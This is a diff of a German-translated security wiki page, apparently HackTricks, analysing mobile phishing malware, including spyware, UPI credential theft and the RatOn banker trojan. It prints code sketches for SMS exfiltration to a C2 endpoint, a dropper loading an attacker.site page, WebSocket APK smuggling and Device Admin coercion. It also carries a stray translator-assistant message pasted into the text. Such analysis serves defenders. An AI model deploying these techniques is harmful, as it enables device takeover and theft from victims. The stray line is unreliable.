 4. **Missbrauch von Laufzeitberechtigungen (Android)**
-* Gefährliche Berechtigungen werden erst **nach positiver C2-Antwort** angefragt:
+* Gefährliche Berechtigungen werden erst **nach positive C2-Antwort** angefragt:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- Older builds also asked for SMS permissions -->
 ```
-* Neuere Varianten **entfernen `<uses-permission>` für SMS aus der `AndroidManifest.xml`**, lassen aber den Java/Kotlin-Codepfad, der SMS per Reflection liest ⇒ senkt den statischen Score, bleibt aber auf Geräten funktionsfähig, die die Berechtigung via `AppOps`-Missbrauch oder bei alten Targets gewähren.
-5. **Fassade-UI & Hintergrundsammlung**
-* Die App zeigt harmlose Views (SMS-Viewer, Gallery-Picker), lokal implementiert.
+* Neuere Varianten **entfernen `<uses-permission>` für SMS aus der `AndroidManifest.xml`**, lassen aber den Java/Kotlin-Codepfad bestehen, der SMS per Reflection liest ⇒ senkt den statischen Score, bleibt aber auf Geräten funktional, die die Berechtigung via `AppOps`-Missbrauch oder alte Targets gewähren.
+5. **Fassade-UI & Hintergrund-Erfassung**
+* Die App zeigt harmlose Views (SMS viewer, gallery picker), lokal implementiert.
 * Gleichzeitig exfiltriert sie:
 - IMEI / IMSI, Telefonnummer
- Voller `ContactsContract`-Dump (JSON-Array)
+- Vollständiges `ContactsContract`-Dump (JSON-Array)
 - JPEG/PNG aus `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban) zur Größenreduktion
- Optional SMS-Inhalte (`content://sms`)
-Payloads werden **batch-gezipt** und via `HTTP POST /upload.php` gesendet.
-6. **iOS-Auslieferungstechnik**
-* Ein einzelnes mobile-configuration profile kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. anfordern, um das Gerät in eine „MDM“-ähnliche Aufsicht einzubinden.
-* Social-Engineering-Anleitung:
-1. Einstellungen öffnen ➜ *Profile heruntergeladen*.
-2. Dreimal auf *Install* tippen (Screenshots auf der Phishing-Seite).
-3. Dem unsigned Profile vertrauen ➜ Angreifer erhält *Contacts*- & *Photo*-Entitlement ohne App Store-Review.
-7. **Netzwerkschicht**
+- Optionale SMS-Inhalte (`content://sms`)
+Payloads werden **batch-zipped** und via `HTTP POST /upload.php` gesendet.
+6. **iOS Delivery Technique**
+* Ein einzelnes **mobile-configuration profile** kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. anfordern, um das Gerät in eine “MDM”-ähnliche Supervision einzuschreiben.
+* Social-engineering-Anweisungen:
+1. Open Settings ➜ *Profile downloaded*.
+2. Tap *Install* three times (Screenshots auf der Phishing-Seite).
+3. Trust the unsigned profile ➜ Angreifer erhält *Contacts* & *Photo* entitlement ohne App Store Review.
+7. **Netzwerkebene**
 * Plain HTTP, oft auf Port 80 mit HOST-Header wie `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (kein TLS → leicht zu erkennen).

 ## Defensive Testing / Red-Team Tipps

-* **Dynamic Analysis Bypass** – Während der Malware-Analyse die Einladungs-Code-Phase mit Frida/Objection automatisieren, um den bösartigen Zweig zu erreichen.
-* **Manifest vs. Runtime Diff** – `aapt dump permissions` mit der Laufzeit-`PackageManager#getRequestedPermissions()` vergleichen; fehlende gefährliche Perms sind verdächtig.
-* **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` konfigurieren, um unstete POST-Bursts nach Code-Eingabe zu erkennen.
-* **mobileconfig Inspection** – `security cms -D -i profile.mobileconfig` auf macOS nutzen, um `PayloadContent` aufzulisten und übermäßige Entitlements zu erkennen.
+* **Dynamic Analysis Bypass** – Während der Malware-Analyse die Invitation-Code-Phase mit Frida/Objection automatisieren, um den malicious branch zu erreichen.
+* **Manifest vs. Runtime Diff** – Vergleiche `aapt dump permissions` mit dem runtime `PackageManager#getRequestedPermissions()`; fehlende gefährliche Perms sind ein Red Flag.
+* **Network Canary** – Konfiguriere `iptables -p tcp --dport 80 -j NFQUEUE`, um unsaubere POST-Bursts nach Code-Eingabe zu erkennen.
+* **mobileconfig Inspection** – Nutze `security cms -D -i profile.mobileconfig` auf macOS, um `PayloadContent` aufzulisten und übermäßige Entitlements zu erkennen.

 ## Blue-Team Erkennungsansätze

-* **Certificate Transparency / DNS-Analysen**, um plötzliche Wellen keywordreicher Domains zu erfassen.
-* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play-Kontexts.
-* **Invite-code Telemetrie** – POSTs von 6–8-stelligen numerischen Codes kurz nach APK-Installation können auf Staging hinweisen.
-* **MobileConfig Signing** – Unsigned configuration profiles per MDM-Policy blockieren.
+* **Certificate Transparency / DNS Analytics**, um plötzliche Schübe keyword-reicher Domains zu fangen.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb von Google Play.
+* **Invite-code Telemetry** – POSTs von 6–8-stelligen numerischen Codes kurz nach APK-Install können auf Staging hinweisen.
+* **MobileConfig Signing** – Blockiere unsigned configuration profiles via MDM-Policy.

-## Nützliches Frida-Snippet: Auto-Bypass Invitation Code
+## Useful Frida Snippet: Auto-Bypass Invitation Code
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@ -88,28 +88,28 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 ```
 ---

-## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
+## Android WebView Payment-Phishing (UPI) – Dropper + FCM C2 Pattern

-Dieses Muster wurde in Kampagnen beobachtet, die Themen zu staatlichen Leistungen missbrauchen, um indische UPI-Zugangsdaten und OTPs zu stehlen. Betreiber verknüpfen vertrauenswürdige Plattformen, um Zustellung und Resilienz zu gewährleisten.
+Dieses Pattern wurde in Kampagnen beobachtet, die Themen zu staatlichen Leistungen missbrauchen, um indische UPI-Zugangsdaten und OTPs zu stehlen. Operatoren koppeln vertrauenswürdige Plattformen für Verbreitung und Resilienz.

-### Delivery chain across trusted platforms
- YouTube-Video-Köder → Beschreibung enthält einen Kurzlink
- Kurzlink → GitHub Pages phishing site, die das legitime Portal imitiert
+### Lieferkette über vertrauenswürdige Plattformen
+- YouTube-Video-Lockvogel → Beschreibung enthält einen Kurzlink
+- Kurzlink → GitHub Pages-Phishingseite, die das legitime Portal nachahmt
 - Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten “Google Play”-Badge, das direkt auf die Datei verlinkt
- Dynamische phishing pages sind auf Replit aktiv; der Remote-Kommando-Kanal verwendet Firebase Cloud Messaging (FCM)
+- Dynamische Phishing-Seiten laufen auf Replit; der Remote-Kommandokanal nutzt Firebase Cloud Messaging (FCM)

-### Dropper with embedded payload and offline install
- Die erste APK ist ein Installer (dropper), der die eigentliche Malware in `assets/app.apk` ausliefert und den Nutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um Cloud-Erkennung zu erschweren.
- Der eingebettete Payload installiert sich unter einem harmlosen Namen (z. B. “Secure Update”). Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden.
+### Dropper mit eingebettetem Payload und Offline-Installation
+- Die erste APK ist ein Installer (dropper), der die eigentliche Malware unter `assets/app.apk` enthält und den Benutzer auffordert, Wi‑Fi/Mobile-Daten zu deaktivieren, um Cloud-Detektion zu erschweren.
+- Der eingebettete Payload installiert sich unter einer unverdächtigen Bezeichnung (z. B. „Secure Update“). Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden.

-Tipp zur statischen Triage (grep nach embedded payloads):
+Statischer Triage-Tipp (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### Dynamic endpoint discovery via shortlink
- Malware lädt eine plain-text, comma-separated Liste mit live endpoints von einem shortlink herunter; einfache string transforms erzeugen den finalen phishing page path.
+### Dynamische Endpunkt-Erkennung über shortlink
+- Malware ruft von einem shortlink eine Klartext-, durch Kommas getrennte Liste aktiver Endpunkte ab; einfache String-Transformationen erzeugen den finalen Pfad zur Phishing-Seite.

 Beispiel (bereinigt):
 ```
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### WebView-basierte UPI credential harvesting
- Der “Make payment of ₹1 / UPI‑Lite” Schritt lädt ein bösartiges HTML-Formular vom dynamischen Endpoint innerhalb einer WebView und erfasst sensible Felder (Telefonnummer, Bank, UPI PIN), die per `POST` an `addup.php` gesendet werden.
+### WebView-based UPI credential harvesting
+- Der Schritt “Make payment of ₹1 / UPI‑Lite” lädt ein bösartiges HTML-Formular vom dynamischen Endpoint innerhalb eines WebView und erfasst sensible Felder (Telefon, Bank, UPI PIN), die per `POST` an `addup.php` gesendet werden.

 Minimaler Loader:
 ```java
@ -136,8 +136,8 @@ WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Selbstverbreitung und SMS/OTP-Abfangung
- Aggressive Berechtigungen werden beim ersten Start angefordert:
+### Selbstverbreitung und Abfangen von SMS/OTP
+- Beim ersten Start werden aggressive Berechtigungen angefordert:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
@ -145,7 +145,7 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
 - Kontakte werden durchlaufen, um smishing-SMS massenhaft vom Gerät des Opfers zu versenden.
- Eingehende SMS werden von einem broadcast receiver abgefangen und zusammen mit Metadaten (sender, body, SIM slot, per-device random ID) zu `/addsm.php` hochgeladen.
+- Eingehende SMS werden von einem broadcast receiver abgefangen und zusammen mit Metadaten (Absender, Nachrichtentext, SIM slot, gerätebezogene Zufalls-ID) an `/addsm.php` hochgeladen.

 Receiver-Skizze:
 ```java
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 }
 ```
-### Firebase Cloud Messaging (FCM) als robustes C2
- Die payload registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Aktualisierung von phishing-Textvorlagen, Umschalten von Verhalten).
+### Firebase Cloud Messaging (FCM) als resilienter C2
+- Der payload registriert sich bei FCM; Push-Nachrichten enthalten ein Feld `_type`, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. phishing-Textvorlagen aktualisieren, Verhaltensweisen umschalten).

-Beispiel-FCM-Payload:
+Beispiel FCM payload:
 ```json
 {
 "to": "<device_fcm_token>",
@ -186,30 +186,71 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### Hunting patterns and IOCs
- APK enthält sekundären Payload in `assets/app.apk`
+### Hunting-Muster und IOCs
+- APK enthält sekundäre Nutzlast bei `assets/app.apk`
 - WebView lädt Zahlung von `gate.htm` und exfiltriert zu `/addup.php`
 - SMS-Exfiltration zu `/addsm.php`
- Shortlink-gesteuerter Konfigurationsabruf (z. B. `rebrand.ly/*`) mit zurückgegebenen CSV-Endpunkten
- Apps mit der Bezeichnung „Update/Secure Update“
+- Konfigurationsabruf über Shortlinks (z. B. `rebrand.ly/*`), der CSV-Endpunkte zurückgibt
+- Apps mit der Bezeichnung "Update/Secure Update"
 - FCM `data`-Nachrichten mit einem `_type`-Discriminator in nicht vertrauenswürdigen Apps

-### Detection & defence ideas
- Markiere Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann ein zweites APK aus `assets/` zu sideloaden.
- Alarm bei dem Berechtigungs-Tupel: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse.
- Egress-Monitoring für `POST /addup.php|/addsm.php` auf nicht-korporativen Hosts; bekannte Infrastruktur blockieren.
- Mobile EDR-Regeln: nicht vertrauenswürdige App registriert sich für FCM und verzweigt anhand eines `_type`-Felds.
+### Erkennungs- & Abwehrideen
+- Kennzeichne Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und anschließend eine zweite APK aus `assets/` zu sideloaden.
+- Alarm bei der Berechtigungs-Kombination: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsabläufe.
+- Egress-Monitoring für `POST /addup.php|/addsm.php` auf nicht-Unternehmenshosts; bekannte Infrastruktur blockieren.
+- Mobile EDR-Regeln: nicht vertrauenswürdige App, die sich für FCM registriert und anhand eines `_type`-Felds verzweigt.

 ---

-## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn Fallstudie
+## Socket.IO/WebSocket-basierte APK-Schmuggelung + gefälschte Google Play-Seiten

-Die RatOn banker/RAT-Kampagne (ThreatFabric) ist ein konkretes Beispiel dafür, wie moderne mobile phishing-Operationen WebView-Dropper, Accessibility-getriebene UI-Automatisierung, Overlays/Ransom, Device-Admin-Zwang, Automated Transfer System (ATS), die Übernahme von Crypto-Wallets und sogar NFC-Relay-Orchestrierung miteinander verbinden. Dieser Abschnitt abstrahiert die wiederverwendbaren Techniken.
+Angreifer ersetzen zunehmend statische APK-Links durch einen in Google Play-ähnlichen Ködern eingebetteten Socket.IO/WebSocket-Kanal. Dadurch wird die Payload-URL verschleiert, URL-/Extension-Filter umgangen und eine realistische Installations-UX beibehalten.

-### Stage-1: WebView → native install bridge (dropper)
-Angreifer präsentieren eine WebView, die auf eine Angreifer-Seite zeigt, und injizieren eine JavaScript-Schnittstelle, die einen nativen Installer exponiert. Ein Tippen auf einen HTML-Button ruft nativen Code auf, der ein in den Assets des dropper gebündeltes second-stage APK installiert und dieses anschließend direkt startet.
+Typischer Client-Ablauf, der in freier Wildbahn beobachtet wurde:
+```javascript
+// Open Socket.IO channel and request payload
+const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
+socket.emit("startDownload", { app: "com.example.app" });

-Minimal pattern:
+// Accumulate binary chunks and drive fake Play progress UI
+const chunks = [];
+socket.on("chunk", (chunk) => chunks.push(chunk));
+socket.on("downloadProgress", (p) => updateProgressBar(p));
+
+// Assemble APK client‑side and trigger browser save dialog
+socket.on("downloadComplete", () => {
+const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
+const url = URL.createObjectURL(blob);
+const a = document.createElement("a");
+a.href = url; a.download = "app.apk"; a.style.display = "none";
+document.body.appendChild(a); a.click();
+});
+```
+Warum es einfachen Kontrollen entgeht:
+- Kein statischer APK-URL wird offenbart; die Payload wird im Speicher aus WebSocket-Frames rekonstruiert.
+- URL/MIME/Erweiterungsfilter, die direkte .apk-Antworten blockieren, können binäre Daten, die über WebSockets/Socket.IO getunnelt werden, übersehen.
+- Crawler und URL-Sandboxes, die WebSockets nicht ausführen, holen die Payload nicht ab.
+
+Hunting und Detection-Ideen:
+- Web-/Netzwerk-Telemetrie: markiere WebSocket-Sessions, die große binäre Blöcke übertragen, gefolgt von der Erstellung eines Blob mit MIME application/vnd.android.package-archive und einem programmatischen `<a download>`-Klick. Suche nach Client-Strings wie socket.emit('startDownload') und Events mit den Namen chunk, downloadProgress, downloadComplete in Page-Skripten.
+- Play-store-Spoof-Heuristiken: auf Nicht-Google-Domains, die Play-ähnliche Seiten ausliefern, suche nach Google Play UI-Strings wie http.html:"VfPpkd-jY41G-V67aGc", gemischten Sprachvorlagen und gefälschten “verification/progress”-Flows, die durch WS-Ereignisse gesteuert werden.
+- Controls: blockiere APK-Auslieferung von Nicht-Google-Ursprüngen; setze MIME-/Erweiterungsrichtlinien durch, die WebSocket-Verkehr einschließen; erhalte die Browser safe-download Prompts.
+
+Siehe auch WebSocket tradecraft und Tooling:
+
+{{#ref}}
+../../pentesting-web/websocket-attacks.md
+{{#endref}}
+
+
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
+
+Die RatOn banker/RAT-Kampagne (ThreatFabric) ist ein konkretes Beispiel dafür, wie moderne mobile Phishing-Operationen WebView-Dropper, Accessibility-gesteuerte UI-Automatisierung, Overlays/Ransom, Device Admin-Nötigung, Automated Transfer System (ATS), Übernahme von Crypto-Wallets und sogar NFC-Relay-Orchestrierung kombinieren. Dieser Abschnitt abstrahiert die wiederverwendbaren Techniken.
+
+### Stage-1: WebView → native Install-Bridge (dropper)
+Angreifer präsentieren eine WebView, die auf eine Angreifer-Seite zeigt, und injizieren eine JavaScript-Schnittstelle, die einen nativen Installer exponiert. Ein Tipp auf einen HTML-Button ruft nativen Code auf, der ein in den Assets des dropper gebündeltes second-stage APK installiert und es dann direkt startet.
+
+Minimales Muster:
 ```java
 public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
@ -238,7 +279,7 @@ wv.loadUrl("https://attacker.site/install.html");
 }
 }
 ```
-Bitte füge den HTML-/Markdown-Inhalt der Seite ein, den ich übersetzen soll. Ich übersetze nur den englischen Fließtext ins Deutsche und lasse Tags, Links, Pfade, Code und spezielle Referenzen unverändert.
+Bitte fügen Sie den HTML-/Markdown-Inhalt der Seite ein, den ich ins Deutsche übersetzen soll. Ich werde Tags, Links, Pfade und Code unverändert lassen.
 ```html
 <button onclick="bridge.installApk()">Install</button>
 ```
@ -248,12 +289,12 @@ Intent i = new Intent();
 i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
 startActivity(i);
 ```
-Hunting-Idee: nicht vertrauenswürdige Apps rufen `addJavascriptInterface()` auf und exponieren installer-ähnliche Methoden an WebView; APK liefert eine eingebettete sekundäre Payload unter `assets/` und ruft die Package Installer Session API auf.
+Hunting-Idee: unvertrauenswürdige Apps, die `addJavascriptInterface()` aufrufen und installer-ähnliche Methoden an WebView exponieren; APK, die eine eingebettete sekundäre Nutzlast unter `assets/` liefert und die Package Installer Session API aufruft.

-### Zustimmungsablauf: Accessibility + Device Admin + nachfolgende Runtime-Eingabeaufforderungen
-Stage-2 öffnet ein WebView, das eine “Access”-Seite hostet. Deren Button ruft eine exportierte Methode auf, die das Opfer zu den Accessibility-Einstellungen navigiert und das Aktivieren des bösartigen Dienstes anfordert. Sobald gewährt, verwendet die Malware Accessibility, um automatisch durch nachfolgende Runtime-Berechtigungsdialoge (contacts, overlay, manage system settings, etc.) zu klicken und fordert Device Admin an.
+### Consent-Funnel: Accessibility + Device Admin + nachfolgende Runtime-Aufforderungen
+Stage-2 öffnet eine WebView, die eine „Access“-Seite hostet. Ihr Button ruft eine exportierte Methode auf, die das Opfer zu den Accessibility-Einstellungen navigiert und das Aktivieren des bösartigen Dienstes anfordert. Sobald dies gewährt ist, nutzt die Malware Accessibility, um automatisch durch nachfolgende Runtime-Berechtigungsdialoge (Kontakte, Overlay, Systemeinstellungen verwalten, usw.) zu klicken und fordert Device Admin an.

- Accessibility hilft programmatisch, spätere Aufforderungen anzunehmen, indem es Buttons wie “Allow”/“OK” im Node-Baum findet und Klicks auslöst.
+- Accessibility hilft programmatisch, spätere Aufforderungen zu akzeptieren, indem es im Node-Tree Buttons wie „Allow“/„OK“ findet und Klicks auslöst.
 - Overlay-Berechtigungsprüfung/-anfrage:
 ```java
 if (!Settings.canDrawOverlays(ctx)) {
@ -262,27 +303,27 @@ Uri.parse("package:" + ctx.getPackageName()));
 ctx.startActivity(i);
 }
 ```
-Siehe auch:
+See also:

 {{#ref}}
 ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
 {{#endref}}

-### Overlay phishing/ransom via WebView
-Operatoren können Befehle ausgeben, um:
- eine Vollbild-Overlay von einer URL zu rendern, oder
- inline HTML zu übergeben, das in ein WebView-Overlay geladen wird.
+### Overlay-Phishing/Erpressung via WebView
+Operatoren können Befehle senden, um:
+- ein Vollbild-Overlay von einer URL anzuzeigen, oder
+- inline HTML zu übergeben, das in einem WebView-Overlay geladen wird.

-Wahrscheinliche Verwendungsfälle: Nötigung (PIN-Eingabe), Öffnen der Wallet zum Abgreifen von PINs, Erpressungsnachrichten. Einen Befehl bereithalten, um sicherzustellen, dass die Overlay-Berechtigung erteilt ist, falls sie fehlt.
+Wahrscheinliche Verwendungen: Nötigung (PIN-Eingabe), Öffnen der wallet, um PINs abzufangen, Erpressungsnachrichten. Einen Befehl vorsehen, um sicherzustellen, dass die Overlay-Berechtigung erteilt ist, falls sie fehlt.

-### Remote control model – text pseudo-screen + screen-cast
- Niedrige Bandbreite: periodisch den Accessibility node tree dumpen, sichtbare Texte/Rollen/Bounds serialisieren und als pseudo-screen an C2 senden (Befehle wie `txt_screen` einmalig und `screen_live` kontinuierlich).
- Hohe Qualität: MediaProjection anfordern und bei Bedarf screen-casting/recording starten (Befehle wie `display` / `record`).
+### Remote-Control-Modell – textuelles Pseudo-Bildschirm + screen-cast
+- Low-bandwidth: periodisch den Accessibility-Node-Baum ausgeben, sichtbare Texte/Rollen/Grenzen serialisieren und als Pseudo-Bildschirm an C2 senden (Befehle wie `txt_screen` einmalig und `screen_live` kontinuierlich).
+- High-fidelity: MediaProjection anfordern und bei Bedarf screen-casting/Recording starten (Befehle wie `display` / `record`).

 ### ATS playbook (bank app automation)
-Anhand einer JSON-Aufgabe die Bank-App öffnen, die UI via Accessibility mit einer Mischung aus Textabfragen und Koordinaten-Taps steuern und die Zahlungs-PIN des Opfers eingeben, wenn dazu aufgefordert.
+Gegeben eine JSON-Aufgabe: die Bank-App öffnen, die UI über Accessibility steuern mit einer Mischung aus Textabfragen und Koordinaten-Taps, und bei Aufforderung die Zahlungs-PIN des Opfers eingeben.

-Example task:
+Beispielaufgabe:
 ```json
 {
 "cmd": "transfer",
@ -303,52 +344,52 @@ Example texts seen in one target flow (CZ → EN):
 - "Zaplatit" → "Bezahlen"
 - "Hotovo" → "Fertig"

-Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
+Operatoren können Transferlimits auch per Befehle wie `check_limit` und `limit` prüfen/erhöhen, die ähnlich durch das Limits-UI navigieren.

 ### Crypto wallet seed extraction
-Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: entsperren (gestohlener PIN oder angegebenes Passwort), zu Security/Recovery navigieren, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Ablauf: entsperren (gestohlener PIN oder angegebenes Passwort), zu Security/Recovery navigieren, seed phrase anzeigen/aufdecken, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) um die Navigation über Sprachen hinweg zu stabilisieren.

 ### Device Admin coercion
-Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
+Device Admin APIs werden verwendet, um die Chancen zur PIN-Erfassung zu erhöhen und das Opfer zu frustrieren:

- Sofortige Sperre:
+- Immediate lock:
 ```java
 dpm.lockNow();
 ```
- Aktuelle Anmeldeinformation ablaufen lassen, um eine Änderung zu erzwingen (Accessibility erfasst neuen PIN/Passwort):
+- Bestehende Zugangsdaten ablaufen lassen, um eine Änderung zu erzwingen (Accessibility erfasst neue PIN/password):
 ```java
 dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
 ```
- Erzwinge eine nicht-biometrische Entsperrung, indem keyguard biometric features deaktiviert werden:
+- Erzwinge eine Entsperrung ohne Biometrie, indem du die biometrischen Keyguard-Funktionen deaktivierst:
 ```java
 dpm.setKeyguardDisabledFeatures(admin,
 DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
 DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
 ```
-Hinweis: Viele DevicePolicyManager-Kontrollen erfordern auf aktuellen Android-Versionen Device Owner/Profile Owner; einige OEM-Builds können jedoch lax sein. Immer auf dem Ziel-OS/OEM validieren.
+Hinweis: Viele DevicePolicyManager-Steuerelemente erfordern auf aktuellen Android-Versionen Device Owner/Profile Owner; einige OEM-Builds können nachlässig sein. Validieren Sie immer auf dem Ziel-OS/OEM.

 ### NFC-Relay-Orchestrierung (NFSkate)
-Stage-3 kann ein externes NFC-relay-Modul installieren und starten (z. B. NFSkate) und ihm sogar eine HTML-Vorlage übergeben, um das Opfer während des Relays zu führen. Dies ermöglicht kontaktloses card-present cash-out neben online ATS.
+Stage-3 kann ein externes NFC-relay-Modul installieren und starten (z. B. NFSkate) und ihm sogar eine HTML-Vorlage übergeben, um das Opfer während des Relays anzuleiten. Dies ermöglicht kontaktloses card-present cash-out neben Online-ATS.

 Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).

 ### Operator-Befehlsatz (Beispiel)
- UI/Zustand: `txt_screen`, `screen_live`, `display`, `record`
- Sozial: `send_push`, `Facebook`, `WhatsApp`
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
 - Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
 - Wallets: `metamask`, `trust`, `blockchain`, `phantom`
 - ATS: `transfer`, `check_limit`, `limit`
- Gerät: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Kommunikation/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
 - NFC: `nfs`, `nfs_inject`

-### Erkennungs- & Abwehrideen (RatOn-Stil)
- Nach WebViews suchen, die mit `addJavascriptInterface()` Installer-/Permission-Methoden exponieren; Seiten, die auf “/access” enden und Accessibility-Eingabeaufforderungen auslösen.
- Alarm bei Apps, die kurz nach Gewährung des Service-Zugriffs eine hohe Rate an Accessibility-Gesten/Klicks erzeugen; Telemetrie, die Accessibility-Node-Dumps ähnelt und an C2 gesendet wird.
- Device Admin-Policy-Änderungen in nicht vertrauenswürdigen Apps überwachen: `lockNow`, Passwortablauf, Keyguard-Feature-Toggles.
- Alarm bei MediaProjection-Eingabeaufforderungen von Nicht-Firmen-Apps, gefolgt von periodischen Frame-Uploads.
- Erkennung der Installation/Start eines externen NFC-relay-App, die von einer anderen App ausgelöst wurde.
- Für Banking: außerbandliche Bestätigungen durchsetzen, Biometrie-Bindung und Transaktionslimits, die gegen On-Device-Automatisierung resistent sind.
+### Erkennungs- und Abwehrideen (RatOn-Stil)
+- Suche nach WebViews mit `addJavascriptInterface()`, die Installer-/Berechtigungsmethoden exponieren; Seiten, die auf “/access” enden und Accessibility-Aufforderungen auslösen.
+- Alarm bei Apps, die kurz nach Gewährung des Service-Zugriffs hochfrequente Accessibility-Gesten/Klicks erzeugen; Telemetrie, die Accessibility-Node-Dumps ähnelt und an C2 gesendet wird.
+- Überwache Device Admin-Policy-Änderungen in nicht vertrauenswürdigen Apps: `lockNow`, Passwortablauf, Keyguard-Feature-Toggles.
+- Alarm bei MediaProjection-Aufforderungen von nicht-korporativen Apps, gefolgt von periodischen Frame-Uploads.
+- Erkenne Installation/Start einer externen NFC-relay-App, die von einer anderen App ausgelöst wurde.
+- Für Banking: Erzwinge Out-of-band-Bestätigungen, Biometrie-Bindung und Transaktionslimits, die gegen On-Device-Automation resistent sind.

 ## Referenzen

@ -358,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
 - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
 - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
+- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
+- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
+- [Socket.IO](https://socket.io)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/hardware-physical-access/firmware-analysis/README.md
+++ b/src/hardware-physical-access/firmware-analysis/README.md
@ -6,46 +6,52 @@

 ### Verwandte Ressourcen

+
 {{#ref}}
 synology-encrypted-archive-decryption.md
 {{#endref}}

-Firmware ist essentielle Software, die es Geräten ermöglicht, korrekt zu funktionieren, indem sie die Kommunikation zwischen den Hardwarekomponenten und der Software, mit der die Benutzer interagieren, verwaltet und erleichtert. Sie wird im permanenten Speicher gespeichert, sodass das Gerät von dem Moment an, in dem es eingeschaltet wird, auf wichtige Anweisungen zugreifen kann, was zum Start des Betriebssystems führt. Die Untersuchung und potenzielle Modifikation der Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitsanfälligkeiten.
+{{#ref}}
+../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}

-## **Informationsbeschaffung**

-**Informationsbeschaffung** ist ein kritischer erster Schritt, um die Zusammensetzung eines Geräts und die Technologien, die es verwendet, zu verstehen. Dieser Prozess umfasst das Sammeln von Daten über:
